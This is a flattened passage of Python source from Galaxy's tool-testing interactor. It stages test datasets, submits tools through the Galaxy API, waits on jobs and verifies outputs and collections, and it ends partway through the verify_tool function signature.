processed_test_dict.get("num_outputs", None) self.error = processed_test_dict.get("error", False) self.exception = processed_test_dict.get("exception", None) self.output_collections = [TestCollectionOutputDef.from_dict(d) for d in processed_test_dict.get("output_collections", [])] self.command_line = processed_test_dict.get("command_line", None) self.command_version = processed_test_dict.get("command_version", None) self.stdout = processed_test_dict.get("stdout", None) self.stderr = processed_test_dict.get("stderr", None) self.expect_exit_code = processed_test_dict.get("expect_exit_code", None) self.expect_failure = processed_test_dict.get("expect_failure", False) self.expect_test_failure = processed_test_dict.get("expect_test_failure", False) def test_data(self): """ Iterator over metadata representing the required files for upload. """ return test_data_iter(self.required_files) def to_dict(self): inputs_dict = {} for key, value in self.inputs.items(): if hasattr(value, "to_dict"): inputs_dict[key] = value.to_dict() else: inputs_dict[key] = value return { "inputs": inputs_dict, "outputs": self.outputs, "output_collections": [_.to_dict() for _ in self.output_collections], "num_outputs": self.num_outputs, "command_line": self.command_line, "command_version": self.command_version, "stdout": self.stdout, "stderr": self.stderr, "expect_exit_code": self.expect_exit_code, "expect_failure": self.expect_failure, "expect_test_failure": self.expect_test_failure, "name": self.name, "test_index": self.test_index, "tool_id": self.tool_id, "tool_version": self.tool_version, "required_files": self.required_files, "required_data_tables": self.required_data_tables, "required_loc_files": self.required_loc_files, "error": self.error, "exception": self.exception, } @nottest def test_data_iter(required_files): for fname, extra in required_files: data_dict = dict( fname=fname, metadata=extra.get('metadata', {}), composite_data=extra.get('composite_data', []), ftype=extra.get('ftype', DEFAULT_FTYPE), dbkey=extra.get('dbkey', DEFAULT_DBKEY), ) edit_attributes = extra.get('edit_attributes', []) # currently only renaming is supported for edit_att in edit_attributes: if edit_att.get('type', None) == 'name': new_name = edit_att.get('value', None) assert new_name, 'You must supply the new dataset name as the value tag of the edit_attributes tag' data_dict['name'] = new_name else: raise Exception(f"edit_attributes type ({edit_att.get("type", None)}) is unimplemented") yield data_dict
import io import json import os import re import shutil import sys import tarfile import tempfile import time import urllib.parse import zipfile from json import dumps from logging import getLogger import requests from packaging.version import parse as parse_version, Version try: from nose.tools import nottest except ImportError: def nottest(x): return x from galaxy import util from galaxy.tool_util.parser.interface import TestCollectionDef, TestCollectionOutputDef from galaxy.util.bunch import Bunch from . import verify from .asserts import verify_assertions from .wait import wait_on log = getLogger(__name__) # Off by default because it can pound the database pretty heavily # and result in sqlite errors on larger tests or larger numbers of # tests. VERBOSE_ERRORS = util.asbool(os.environ.get("GALAXY_TEST_VERBOSE_ERRORS", False)) UPLOAD_ASYNC = util.asbool(os.environ.get("GALAXY_TEST_UPLOAD_ASYNC", True)) ERROR_MESSAGE_DATASET_SEP = "--------------------------------------" DEFAULT_TOOL_TEST_WAIT = int(os.environ.get("GALAXY_TEST_DEFAULT_WAIT", 86400)) DEFAULT_FTYPE = 'auto' # This following default dbkey was traditionally hg17 before Galaxy 18.05, # restore this behavior by setting GALAXY_TEST_DEFAULT_DBKEY to hg17. DEFAULT_DBKEY = os.environ.get("GALAXY_TEST_DEFAULT_DBKEY", "?") class OutputsDict(dict): """Ordered dict that can also be accessed by index. >>> out = OutputsDict() >>> out['item1'] = 1 >>> out['item2'] = 2 >>> out[1] == 2 == out['item2'] True """ def __getitem__(self, item): if isinstance(item, int): return self[list(self.keys())[item]] else: return super().__getitem__(item) def stage_data_in_history(galaxy_interactor, tool_id, all_test_data, history=None, force_path_paste=False, maxseconds=DEFAULT_TOOL_TEST_WAIT, tool_version=None): # Upload any needed files upload_waits = [] assert tool_id if UPLOAD_ASYNC: for test_data in all_test_data: upload_waits.append(galaxy_interactor.stage_data_async(test_data, history, tool_id, force_path_paste=force_path_paste, maxseconds=maxseconds, tool_version=tool_version)) for upload_wait in upload_waits: upload_wait() else: for test_data in all_test_data: upload_wait = galaxy_interactor.stage_data_async(test_data, history, tool_id, force_path_paste=force_path_paste, maxseconds=maxseconds, tool_version=tool_version) upload_wait() class GalaxyInteractorApi: def __init__(self, **kwds): self.api_url = f"{kwds['galaxy_url'].rstrip('/')}/api" self.cookies = None self.master_api_key = kwds["master_api_key"] self.api_key = self.__get_user_key(kwds.get("api_key"), kwds.get("master_api_key"), test_user=kwds.get("test_user")) if kwds.get('user_api_key_is_admin_key', False): self.master_api_key = self.api_key self.keep_outputs_dir = kwds["keep_outputs_dir"] self.download_attempts = kwds.get("download_attempts", 1) self.download_sleep = kwds.get("download_sleep", 1) # Local test data directories. self.test_data_directories = kwds.get("test_data") or [] self._target_galaxy_version = None self.uploads = {} @property def target_galaxy_version(self): if self._target_galaxy_version is None: self._target_galaxy_version = parse_version(self._get('version').json()['version_major']) return self._target_galaxy_version @property def supports_test_data_download(self): return self.target_galaxy_version >= Version("19.01") def __get_user_key(self, user_key, admin_key, test_user=None): if not test_user: test_user = "test@bx.psu.edu" if user_key: return user_key test_user = self.ensure_user_with_email(test_user) return self._post(f"users/{test_user['id']}/api_key", key=admin_key).json() # def get_tools(self): # response = self._get("tools?in_panel=false") # assert response.status_code == 200, "Non 200 response from tool index API. [%s]" % response.content # return response.json() def get_tests_summary(self): response = self._get("tools/tests_summary") assert response.status_code == 200, f"Non 200 response from tool tests available API. [{response.content}]" return response.json() def get_tool_tests(self, tool_id, tool_version=None): url = f"tools/{tool_id}/test_data" params = {'tool_version': tool_version} if tool_version else None response = self._get(url, data=params) assert response.status_code == 200, f"Non 200 response from tool test API. [{response.content}]" return response.json() def verify_output_collection(self, output_collection_def, output_collection_id, history, tool_id, tool_version=None): data_collection = self._get(f"dataset_collections/{output_collection_id}", data={"instance_type": "history"}).json() def verify_dataset(element, element_attrib, element_outfile): hda = element["object"] try: self.verify_output_dataset( history, hda_id=hda["id"], outfile=element_outfile, attributes=element_attrib, tool_id=tool_id, tool_version=tool_version, ) except AssertionError as e: raise AssertionError(f"Collection element {element.get('element_identifier', '')} of collection {output_collection_def.name}: {e}") verify_collection(output_collection_def, data_collection, verify_dataset) def verify_output(self, history_id, jobs, output_data, output_testdef, tool_id, maxseconds, tool_version=None): outfile = output_testdef.outfile attributes = output_testdef.attributes name = output_testdef.name self.wait_for_jobs(history_id, jobs, maxseconds) hid = self.__output_id(output_data) # TODO: Twill version verifies dataset is 'ok' in here. try: self.verify_output_dataset(history_id=history_id, hda_id=hid, outfile=outfile, attributes=attributes, tool_id=tool_id, tool_version=tool_version) except AssertionError as e: raise AssertionError(f"Output {name}: {str(e)}") primary_datasets = attributes.get('primary_datasets', {}) if primary_datasets: job_id = self._dataset_provenance(history_id, hid)["job_id"] outputs = self._get(f"jobs/{job_id}/outputs").json() for designation, (primary_outfile, primary_attributes) in primary_datasets.items(): primary_output = None for output in outputs: if output["name"] == f'__new_primary_file_{name}|{designation}__': primary_output = output break if not primary_output: raise Exception(f"Failed to find primary dataset with designation [{designation}] for output with name [{name}]") primary_hda_id = primary_output["dataset"]["id"] try: self.verify_output_dataset(history_id, primary_hda_id, primary_outfile, primary_attributes, tool_id=tool_id, tool_version=tool_version) except AssertionError as e: raise AssertionError(f"Primary output {name}: {str(e)}") def wait_for_jobs(self, history_id, jobs, maxseconds): for job in jobs: self.wait_for_job(job['id'], history_id, maxseconds) def verify_output_dataset(self, history_id, hda_id, outfile, attributes, tool_id, tool_version=None): fetcher = self.__dataset_fetcher(history_id) test_data_downloader = self.__test_data_downloader(tool_id, tool_version) verify_hid( outfile, hda_id=hda_id, attributes=attributes, dataset_fetcher=fetcher, test_data_downloader=test_data_downloader, keep_outputs_dir=self.keep_outputs_dir ) self._verify_metadata(history_id, hda_id, attributes) def _verify_metadata(self, history_id, hid, attributes): """Check dataset metadata. ftype on output maps to `file_ext` on the hda's API description, `name`, `info`, `dbkey` and `tags` all map to the API description directly. Other metadata attributes are assumed to be datatype-specific and mapped with a prefix of `metadata_`. """ metadata = attributes.get('metadata', {}).copy() for key in metadata.copy().keys(): if key not in ['name', 'info', 'tags', 'created_from_basename']: new_key = f"metadata_{key}" metadata[new_key] = metadata[key] del metadata[key] elif key == "info": metadata["misc_info"] = metadata["info"] del metadata["info"] expected_file_type = attributes.get('ftype', None) if expected_file_type: metadata["file_ext"] = expected_file_type if metadata: def wait_for_content(): response = self._get(f"histories/{history_id}/contents/{hid}") try: response.raise_for_status() return response.json() except requests.exceptions.HTTPError: return None dataset = wait_on(wait_for_content, desc='dataset metadata', timeout=10) for key, value in metadata.items(): try: dataset_value = dataset.get(key, None) def compare(val, expected): if str(val) != str(expected): msg = f"Dataset metadata verification for [{key}] failed, expected [{value}] but found [{dataset_value}]. Dataset API value was [{dataset}]." raise Exception(msg) if isinstance(dataset_value, list): value = str(value).split(",") if len(value) != len(dataset_value): msg = f"Dataset metadata verification for [{key}] failed, expected [{value}] but found [{dataset_value}], lists differ in length. Dataset API value was [{dataset}]." raise Exception(msg) for val, expected in zip(dataset_value, value): compare(val, expected) else: compare(dataset_value, value) except KeyError: msg = f"Failed to verify dataset metadata, metadata key [{key}] was not found." raise Exception(msg) def wait_for_job(self, job_id, history_id=None, maxseconds=DEFAULT_TOOL_TEST_WAIT): self.wait_for(lambda: self.__job_ready(job_id, history_id), maxseconds=maxseconds) def wait_for(self, func, what='tool test run', **kwd): walltime_exceeded = int(kwd.get("maxseconds", DEFAULT_TOOL_TEST_WAIT)) wait_on(func, what, walltime_exceeded) def get_job_stdio(self, job_id): job_stdio = self.__get_job_stdio(job_id).json() return job_stdio def __get_job(self, job_id): return self._get(f'jobs/{job_id}') def __get_job_stdio(self, job_id): return self._get(f'jobs/{job_id}?full=true') def get_history(self, history_name='test_history'): # Return the most recent non-deleted history matching the provided name response = self._get(f"histories?q=name&qv={history_name}&order=update_time") try: return response.json()[-1] except IndexError: return None def new_history(self, history_name='test_history', publish_history=False): create_response = self._post("histories", {"name": history_name}) try: create_response.raise_for_status() except Exception as e: raise Exception(f"Error occured while creating history with name '{history_name}': {e}") history_id = create_response.json()['id'] if publish_history: self.publish_history(history_id) return history_id def publish_history(self, history_id): response = self._put(f'histories/{history_id}', json.dumps({'published': True})) response.raise_for_status() @nottest def test_data_path(self, tool_id, filename, tool_version=None): version_fragment = f'&tool_version={tool_version}' if tool_version else '' response = self._get(f"tools/{tool_id}/test_data_path?filename={filename}{version_fragment}", admin=True) return response.json() @nottest def test_data_download(self, tool_id, filename, mode='file', is_output=True, tool_version=None): result = None local_path = None if self.supports_test_data_download: version_fragment = f'&tool_version={tool_version}' if tool_version else '' response = self._get(f"tools/{tool_id}/test_data_download?filename={filename}{version_fragment}", admin=True) if response.status_code == 200: if mode == 'file': result = response.content elif mode == 'directory': prefix = os.path.basename(filename) path = tempfile.mkdtemp(prefix=prefix) fileobj = io.BytesIO(response.content) if zipfile.is_zipfile(fileobj): with zipfile.ZipFile(fileobj) as contents: contents.extractall(path=path) else: # Galaxy < 21.01 with tarfile.open(fileobj=fileobj) as tar_contents: tar_contents.extractall(path=path) result = path else: # We can only use local data local_path = self.test_data_path(tool_id, filename, tool_version=tool_version) if result is None and (local_path is None or not os.path.exists(local_path)): for test_data_directory in self.test_data_directories: local_path = os.path.join(test_data_directory, filename) if os.path.exists(local_path): break if result is None and local_path is not None and os.path.exists(local_path): if mode == 'file': with open(local_path, mode='rb') as f: result = f.read() elif mode == 'directory': # Make a copy, since we are going to clean up the returned path path = tempfile.mkdtemp() shutil.copytree(local_path, path) result = path if result is None: if is_output: raise AssertionError(f"Test output file ({filename}) is missing. If you are using planemo, try adding --update_test_data to generate it.") else: raise AssertionError(f"Test input file ({filename}) cannot be found.") return result def __output_id(self, output_data): # Allow data structure coming out of tools API - {id: <id>, output_name: <name>, etc...} # or simple id as comes out of workflow API. try: output_id = output_data.get('id') except AttributeError: output_id = output_data return output_id def stage_data_async(self, test_data, history_id, tool_id, force_path_paste=False, maxseconds=DEFAULT_TOOL_TEST_WAIT, tool_version=None): fname = test_data['fname'] tool_input = { "file_type": test_data['ftype'], "dbkey": test_data['dbkey'], } metadata = test_data.get("metadata", {}) if not hasattr(metadata, "items"): raise Exception(f"Invalid metadata description found for input [{fname}] - [{metadata}]") for name, value in test_data.get('metadata', {}).items(): tool_input[f"files_metadata|{name}"] = value composite_data = test_data['composite_data'] if composite_data: files = {} for i, file_name in enumerate(composite_data): if force_path_paste: file_path = self.test_data_path(tool_id, file_name, tool_version=tool_version) tool_input.update({ f"files_{i}|url_paste": f"file://{file_path}" }) else: file_content = self.test_data_download(tool_id, file_name, is_output=False, tool_version=tool_version) files[f"files_{i}|file_data"] = file_content tool_input.update({ f"files_{i}|type": "upload_dataset", }) name = test_data['name'] else: name = os.path.basename(fname) tool_input.update({ "files_0|NAME": name, "files_0|type": "upload_dataset", }) files = {} if force_path_paste: file_name = self.test_data_path(tool_id, fname, tool_version=tool_version) tool_input.update({ "files_0|url_paste": f"file://{file_name}" }) else: file_content = self.test_data_download(tool_id, fname, is_output=False, tool_version=tool_version) files = { "files_0|file_data": file_content } submit_response_object = self.__submit_tool(history_id, "upload1", tool_input, extra_data={"type": "upload_dataset"}, files=files) submit_response = ensure_tool_run_response_okay(submit_response_object, f"upload dataset {name}") assert "outputs" in submit_response, f"Invalid response from server [{submit_response}], expecting outputs in response." outputs = submit_response["outputs"] assert len(outputs) > 0, f"Invalid response from server [{submit_response}], expecting an output dataset." dataset = outputs[0] hid = dataset['id'] self.uploads[os.path.basename(fname)] = self.uploads[fname] = self.uploads[name] = {"src": "hda", "id": hid} assert "jobs" in submit_response, f"Invalid response from server [{submit_response}], expecting jobs in response." jobs = submit_response["jobs"] assert len(jobs) > 0, f"Invalid response from server [{submit_response}], expecting a job." return lambda: self.wait_for_job(jobs[0]["id"], history_id, maxseconds=maxseconds) def run_tool(self, testdef, history_id, resource_parameters=None): # We need to handle the case where we've uploaded a valid compressed file since the upload # tool will have uncompressed it on the fly. resource_parameters = resource_parameters or {} inputs_tree = testdef.inputs.copy() for key, value in inputs_tree.items(): values = [value] if not isinstance(value, list) else value new_values = [] for value in values: if isinstance(value, TestCollectionDef): hdca_id = self._create_collection(history_id, value) new_values = [dict(src="hdca", id=hdca_id)] elif value in self.uploads: new_values.append(self.uploads[value]) else: new_values.append(value) inputs_tree[key] = new_values if resource_parameters: inputs_tree["__job_resource|__job_resource__select"] = "yes" for key, value in resource_parameters.items(): inputs_tree[f"__job_resource|{key}"] = value # HACK: Flatten single-value lists. Required when using expand_grouping for key, value in inputs_tree.items(): if isinstance(value, list) and len(value) == 1: inputs_tree[key] = value[0] submit_response = None for _ in range(DEFAULT_TOOL_TEST_WAIT): submit_response = self.__submit_tool(history_id, tool_id=testdef.tool_id, tool_input=inputs_tree, tool_version=testdef.tool_version) if _are_tool_inputs_not_ready(submit_response): print("Tool inputs not ready yet") time.sleep(1) continue else: break submit_response_object = ensure_tool_run_response_okay(submit_response, "execute tool", inputs_tree) try: return Bunch( inputs=inputs_tree, outputs=self.__dictify_outputs(submit_response_object), output_collections=self.__dictify_output_collections(submit_response_object), jobs=submit_response_object['jobs'], ) except KeyError: message = f"Error creating a job for these tool inputs - {submit_response_object['err_msg']}" raise RunToolException(message, inputs_tree) def _create_collection(self, history_id, collection_def): create_payload = dict( name=collection_def.name, element_identifiers=self._element_identifiers(collection_def), collection_type=collection_def.collection_type, history_id=history_id, ) return self._post("dataset_collections", data=create_payload, json=True).json()["id"] def _element_identifiers(self, collection_def): element_identifiers = [] for element_dict in collection_def.elements: element_identifier = element_dict["element_identifier"] element_def = element_dict["element_definition"] if isinstance(element_def, TestCollectionDef): subelement_identifiers = self._element_identifiers(element_def) element = dict( name=element_identifier, src="new_collection", collection_type=element_def.collection_type, element_identifiers=subelement_identifiers ) else: element = self.uploads[element_def["value"]].copy() element["name"] = element_identifier tags = element_def.get("attributes").get("tags") if tags: element["tags"] = tags.split(",") element_identifiers.append(element) return element_identifiers def __dictify_output_collections(self, submit_response): output_collections_dict = {} for output_collection in submit_response['output_collections']: output_collections_dict[output_collection.get("output_name")] = output_collection return output_collections_dict def __dictify_outputs(self, datasets_object): # Convert outputs list to a dictionary that can be accessed by # output_name so can be more flexible about ordering of outputs # but also allows fallback to legacy access as list mode. outputs_dict = OutputsDict() for output in datasets_object['outputs']: outputs_dict[output.get("output_name")] = output return outputs_dict def output_hid(self, output_data): return output_data['id'] def delete_history(self, history): self._delete(f"histories/{history}") def __job_ready(self, job_id, history_id=None): if job_id is None: raise ValueError("__job_ready passed empty job_id") try: return self._state_ready(job_id, error_msg="Job in error state.") except Exception: if VERBOSE_ERRORS and history_id is not None: self._summarize_history(history_id) raise def _summarize_history(self, history_id): if history_id is None: raise ValueError("_summarize_history passed empty history_id") print(f"Problem in history with id {history_id} - summary of history's datasets and jobs below.") try: history_contents = self.__contents(history_id) except Exception: print("*TEST FRAMEWORK FAILED TO FETCH HISTORY DETAILS*") return for history_content in history_contents: dataset = history_content print(ERROR_MESSAGE_DATASET_SEP) dataset_id = dataset.get('id', None) print(f"| {dataset['hid']} - {dataset['name']} (HID - NAME) ") if history_content['history_content_type'] == 'dataset_collection': history_contents_json = self._get(f"histories/{history_id}/contents/dataset_collections/{history_content['id']}").json() print(f"| Dataset Collection: {history_contents_json}") print("|") continue try: dataset_info = self._dataset_info(history_id, dataset_id) print("| Dataset State:") print(self.format_for_summary(dataset_info.get("state"), "Dataset state is unknown.")) print("| Dataset Blurb:") print(self.format_for_summary(dataset_info.get("misc_blurb", ""), "Dataset blurb was empty.")) print("| Dataset Info:") print(self.format_for_summary(dataset_info.get("misc_info", ""), "Dataset info is empty.")) print("| Peek:") print(self.format_for_summary(dataset_info.get("peek", ""), "Peek unavailable.")) except Exception: print("| *TEST FRAMEWORK ERROR FETCHING DATASET DETAILS*") try: provenance_info = self._dataset_provenance(history_id, dataset_id) print("| Dataset Job Standard Output:") print(self.format_for_summary(provenance_info.get("stdout", ""), "Standard output was empty.")) print("| Dataset Job Standard Error:") print(self.format_for_summary(provenance_info.get("stderr", ""), "Standard error was empty.")) except Exception: print("| *TEST FRAMEWORK ERROR FETCHING JOB DETAILS*") print("|") try: jobs_json = self._get(f"jobs?history_id={history_id}").json() for job_json in jobs_json: print(ERROR_MESSAGE_DATASET_SEP) print(f"| Job {job_json['id']}") print("| State: ") print(self.format_for_summary(job_json.get("state", ""), "Job state is unknown.")) print("| Update Time:") print(self.format_for_summary(job_json.get("update_time", ""), "Job update time is unknown.")) print("| Create Time:") print(self.format_for_summary(job_json.get("create_time", ""), "Job create time is unknown.")) print("|") print(ERROR_MESSAGE_DATASET_SEP) except Exception: print(ERROR_MESSAGE_DATASET_SEP) print("*TEST FRAMEWORK FAILED TO FETCH HISTORY JOBS*") print(ERROR_MESSAGE_DATASET_SEP) def format_for_summary(self, blob, empty_message, prefix="| "): contents = "\n".join(f"{prefix}{line.strip()}" for line in io.StringIO(blob).readlines() if line.rstrip("\n\r")) return contents or f"{prefix}*{empty_message}*" def _dataset_provenance(self, history_id, id): provenance = self._get(f"histories/{history_id}/contents/{id}/provenance").json() return provenance def _dataset_info(self, history_id, id): dataset_json = self._get(f"histories/{history_id}/contents/{id}").json() return dataset_json def __contents(self, history_id): history_contents_response = self._get(f"histories/{history_id}/contents") history_contents_response.raise_for_status() return history_contents_response.json() def _state_ready(self, job_id, error_msg): state_str = self.__get_job(job_id).json()['state'] if state_str == 'ok': return True elif state_str == 'error': job_json = self.get_job_stdio(job_id) raise Exception(f"{error_msg}. tool_id: {job_json['tool_id']}, exit_code: {job_json['exit_code']}, stderr: {job_json['stderr']}.") return None def __submit_tool(self, history_id, tool_id, tool_input, extra_data=None, files=None, tool_version=None): extra_data = extra_data or {} data = dict( history_id=history_id, tool_id=tool_id, inputs=dumps(tool_input), tool_version=tool_version, **extra_data ) return self._post("tools", files=files, data=data) def ensure_user_with_email(self, email, password=None): admin_key = self.master_api_key all_users_response = self._get('users', key=admin_key) try: all_users_response.raise_for_status() except requests.exceptions.HTTPError as e: raise Exception(f"Failed to verify user with email [{email}] exists - perhaps you're targetting the wrong Galaxy server or using an incorrect admin API key. HTTP error: {e}") all_users = all_users_response.json() try: test_user = [user for user in all_users if user["email"] == email][0] except IndexError: username = re.sub(r"[^a-z-\d]", '--', email.lower()) password = password or 'testpass' # If remote user middleware is enabled - this endpoint consumes # ``remote_user_email`` otherwise it requires ``email``, ``password`` # and ``username``. data = dict( remote_user_email=email, email=email, password=password, username=username, ) test_user = self._post('users', data, key=admin_key).json() return test_user def __test_data_downloader(self, tool_id, tool_version=None): def test_data_download(filename, mode='file'): return self.test_data_download(tool_id, filename, mode=mode, tool_version=tool_version) return test_data_download def __dataset_fetcher(self, history_id): def fetcher(hda_id, base_name=None): url = f"histories/{history_id}/contents/{hda_id}/display?raw=true" if base_name: url += f"&filename={base_name}" response = None for _ in range(self.download_attempts): response = self._get(url) if response.status_code == 500: print(f"Retrying failed download with status code {response.status_code}") time.sleep(self.download_sleep) continue else: break response.raise_for_status() return response.content return fetcher def api_key_header(self, key, admin, anon, headers): header = headers or {} if not anon: if not key: key = self.api_key if not admin else self.master_api_key header['x-api-key'] = key return header def _post(self, path, data=None, files=None, key=None, headers=None, admin=False, anon=False, json=False): headers = self.api_key_header(key=key, admin=admin, anon=anon, headers=headers) url = self.get_api_url(path) kwd = self._prepare_request_params(data=data, files=files, as_json=json, headers=headers) kwd['timeout'] = kwd.pop('timeout', util.DEFAULT_SOCKET_TIMEOUT) return requests.post(url, **kwd) def _delete(self, path, data=None, key=None, headers=None, admin=False, anon=False, json=False): headers = self.api_key_header(key=key, admin=admin, anon=anon, headers=headers) url = self.get_api_url(path) kwd = self._prepare_request_params(data=data, as_json=json, headers=headers) kwd['timeout'] = kwd.pop('timeout', util.DEFAULT_SOCKET_TIMEOUT) return requests.delete(url, **kwd) def _patch(self, path, data=None, key=None, headers=None, admin=False, anon=False, json=False): headers = self.api_key_header(key=key, admin=admin, anon=anon, headers=headers) url = self.get_api_url(path) kwd = self._prepare_request_params(data=data, as_json=json, headers=headers) kwd['timeout'] = kwd.pop('timeout', util.DEFAULT_SOCKET_TIMEOUT) return requests.patch(url, **kwd) def _put(self, path, data=None, key=None, headers=None, admin=False, anon=False, json=False): headers = self.api_key_header(key=key, admin=admin, anon=anon, headers=headers) url = self.get_api_url(path) kwd = self._prepare_request_params(data=data, as_json=json, headers=headers) kwd['timeout'] = kwd.pop('timeout', util.DEFAULT_SOCKET_TIMEOUT) return requests.put(url, **kwd) def _get(self, path, data=None, key=None, headers=None, admin=False, anon=False): headers = self.api_key_header(key=key, admin=admin, anon=anon, headers=headers) url = self.get_api_url(path) kwargs = {} if self.cookies: kwargs['cookies'] = self.cookies # no data for GET return requests.get(url, params=data, headers=headers, timeout=util.DEFAULT_SOCKET_TIMEOUT, **kwargs) def get_api_url(self, path: str) -> str: if path.startswith("http"): return path elif path.startswith("/api/"): path = path[len("/api/"):] return urllib.parse.urljoin(f"{self.api_url}/", path) def _prepare_request_params(self, data=None, files=None, as_json: bool = False, params: dict = None, headers: dict = None): """Handle some Galaxy conventions and work around requests issues. This is admittedly kind of hacky, so the interface may change frequently - be careful on reuse. If ``as_json`` is True, use post payload using request's json parameter instead of the data parameter (i.e. assume the contents is a json-ified blob instead of form parameters with individual parameters json-ified if needed). requests doesn't allow files to be specified with the json parameter - so rewrite the parameters to handle that if as_json is True with specified files. """ params = params or {} data = data or {} # handle encoded files if files is None: # if not explicitly passed, check __files... convention used in tool testing # and API testing code files = data.get("__files", None) if files is not None: del data["__files"] # files doesn't really work with json, so dump the parameters # and do a normal POST with request's data parameter. if bool(files) and as_json: as_json = False new_items = {} for key, val in data.items(): if isinstance(val, dict) or isinstance(val, list): new_items[key] = dumps(val) data.update(new_items) kwd = { 'files': files, } if headers: kwd['headers'] = headers if as_json: kwd['json'] = data or None kwd['params'] = params else: data.update(params) kwd['data'] = data if self.cookies: kwd['cookies'] = self.cookies return kwd def ensure_tool_run_response_okay(submit_response_object, request_desc, inputs=None): if submit_response_object.status_code != 200: message = None dynamic_param_error = False try: err_response = submit_response_object.json() if "param_errors" in err_response: param_errors = err_response["param_errors"] if "dbkey" in param_errors: dbkey_err_obj = param_errors["dbkey"] dbkey_val = dbkey_err_obj.get("parameter_value") message = f"Invalid dbkey specified [{dbkey_val}]" for value in param_errors.values(): if isinstance(value, dict) and value.get("is_dynamic"): dynamic_param_error = True if message is None: message = err_response.get("err_msg") or None except Exception: # invalid JSON content. pass if message is None: message = f"Request to {request_desc} failed - invalid JSON content returned from Galaxy server [{submit_response_object.text}]" raise RunToolException(message, inputs, dynamic_param_error=dynamic_param_error) submit_response = submit_response_object.json() return submit_response def _are_tool_inputs_not_ready(submit_response): if submit_response.status_code != 400: return False try: submit_json = submit_response.json() return submit_json.get("err_code") == 400015 except Exception: return False class RunToolException(Exception): def __init__(self, message, inputs=None, dynamic_param_error=False): super().__init__(message) self.inputs = inputs self.dynamic_param_error = dynamic_param_error # Galaxy specific methods - rest of this can be used with arbitrary files and such. def verify_hid(filename, hda_id, attributes, test_data_downloader, hid="", dataset_fetcher=None, keep_outputs_dir=False): assert dataset_fetcher is not None def verify_extra_files(extra_files): _verify_extra_files_content(extra_files, hda_id, dataset_fetcher=dataset_fetcher, test_data_downloader=test_data_downloader, keep_outputs_dir=keep_outputs_dir) data = dataset_fetcher(hda_id) item_label = "" verify( item_label, data, attributes=attributes, filename=filename, get_filecontent=test_data_downloader, keep_outputs_dir=keep_outputs_dir, verify_extra_files=verify_extra_files, ) def verify_collection(output_collection_def, data_collection, verify_dataset): name = output_collection_def.name expected_collection_type = output_collection_def.collection_type if expected_collection_type: collection_type = data_collection["collection_type"] if expected_collection_type != collection_type: message = f"Output collection '{name}': expected to be of type [{expected_collection_type}], was of type [{collection_type}]." raise AssertionError(message) expected_element_count = output_collection_def.count if expected_element_count: actual_element_count = len(data_collection["elements"]) if expected_element_count != actual_element_count: message = f"Output collection '{name}': expected to have {expected_element_count} elements, but it had {actual_element_count}." raise AssertionError(message) def get_element(elements, id): for element in elements: if element["element_identifier"] == id: return element return False def verify_elements(element_objects, element_tests): expected_sort_order = {} eo_ids = [_["element_identifier"] for _ in element_objects] for element_identifier, element_test in element_tests.items(): if isinstance(element_test, dict): element_outfile, element_attrib = None, element_test else: element_outfile, element_attrib = element_test if 'expected_sort_order' in element_attrib: expected_sort_order[element_attrib['expected_sort_order']] = element_identifier element = get_element(element_objects, element_identifier) if not element: message = f"Output collection '{name}': failed to find identifier '{element_identifier}' in the tool generated elements {eo_ids}" raise AssertionError(message) element_type = element["element_type"] if element_type != "dataset_collection": verify_dataset(element, element_attrib, element_outfile) else: elements = element["object"]["elements"] verify_elements(elements, element_attrib.get("elements", {})) if len(expected_sort_order) > 0: generated_sort_order = [_["element_identifier"] for _ in element_objects] i = 0 for element_index in sorted(expected_sort_order.keys()): identifier = expected_sort_order[element_index] try: i = generated_sort_order[i:].index(identifier) + 1 except ValueError: message = f"Output collection '{name}': identifier '{element_identifier}' found out of order, expected order of {expected_sort_order} for the tool generated collection elements {eo_ids}" raise AssertionError(message) verify_elements(data_collection["elements"], output_collection_def.element_tests) def _verify_composite_datatype_file_content(file_name, hda_id, base_name=None, attributes=None, dataset_fetcher=None, test_data_downloader=None, keep_outputs_dir=False, mode='file'): assert dataset_fetcher is not None data = dataset_fetcher(hda_id, base_name) item_label = f"History item {hda_id}" try: verify( item_label, data, attributes=attributes, filename=file_name, get_filecontent=test_data_downloader, keep_outputs_dir=keep_outputs_dir, mode=mode, ) except AssertionError as err: errmsg = f'Composite file ({base_name}) of {item_label} different than expected, difference:\n' errmsg += util.unicodify(err) raise AssertionError(errmsg) def _verify_extra_files_content(extra_files, hda_id, dataset_fetcher, test_data_downloader, keep_outputs_dir): files_list = [] cleanup_directories = [] for extra_file_dict in extra_files: extra_file_type = extra_file_dict["type"] extra_file_name = extra_file_dict["name"] extra_file_attributes = extra_file_dict["attributes"] extra_file_value = extra_file_dict["value"] if extra_file_type == 'file': files_list.append((extra_file_name, extra_file_value, extra_file_attributes, extra_file_type)) elif extra_file_type == 'directory': extracted_path = test_data_downloader(extra_file_value, mode='directory') cleanup_directories.append(extracted_path) for root, _directories, files in util.path.safe_walk(extracted_path): for filename in files: filename = os.path.join(root, filename) filename = os.path.relpath(filename, extracted_path) files_list.append((filename, os.path.join(extracted_path, filename), extra_file_attributes, extra_file_type)) else: raise ValueError(f'unknown extra_files type: {extra_file_type}') try: for filename, filepath, attributes, extra_file_type in files_list: _verify_composite_datatype_file_content(filepath, hda_id, base_name=filename, attributes=attributes, dataset_fetcher=dataset_fetcher, test_data_downloader=test_data_downloader, keep_outputs_dir=keep_outputs_dir, mode=extra_file_type) finally: for path in cleanup_directories: shutil.rmtree(path) class NullClientTestConfig: def get_test_config(self, job_data): return None class DictClientTestConfig: def __init__(self, tools): self._tools = tools or {} def get_test_config(self, job_data): # TODO: allow short ids, allow versions below outer id instead of key concatenation. tool_id = job_data.get("tool_id") tool_version = job_data.get("tool_version") tool_test_config = None tool_version_test_config = None is_default = False if tool_id in self._tools: tool_test_config = self._tools[tool_id] if tool_test_config is None: tool_id = f"{tool_id}/{tool_version}" if tool_id in self._tools: tool_version_test_config = self._tools[tool_id] else: if tool_version in tool_test_config: tool_version_test_config = tool_test_config[tool_version] elif "default" in tool_test_config: tool_version_test_config = tool_test_config["default"] is_default = True if tool_version_test_config: test_index = job_data.get("test_index") if test_index in tool_version_test_config: return tool_version_test_config[test_index] elif str(test_index) in tool_version_test_config: return tool_version_test_config[str(test_index)] if 'default' in tool_version_test_config: return tool_version_test_config['default'] elif is_default: return tool_version_test_config return None def verify_tool(tool_id, galaxy_interactor, resource_parameters=None, register_job_data=None, test_index=0, tool_version=None, quiet=False, test_history=None, no_history_cleanup=False, publish_history=False, force_path_paste=False, maxseconds=DEFAULT_TOOL_TEST_WAIT, tool_test_dicts=None, client_test_config=None, skip_with_reference_data=False, 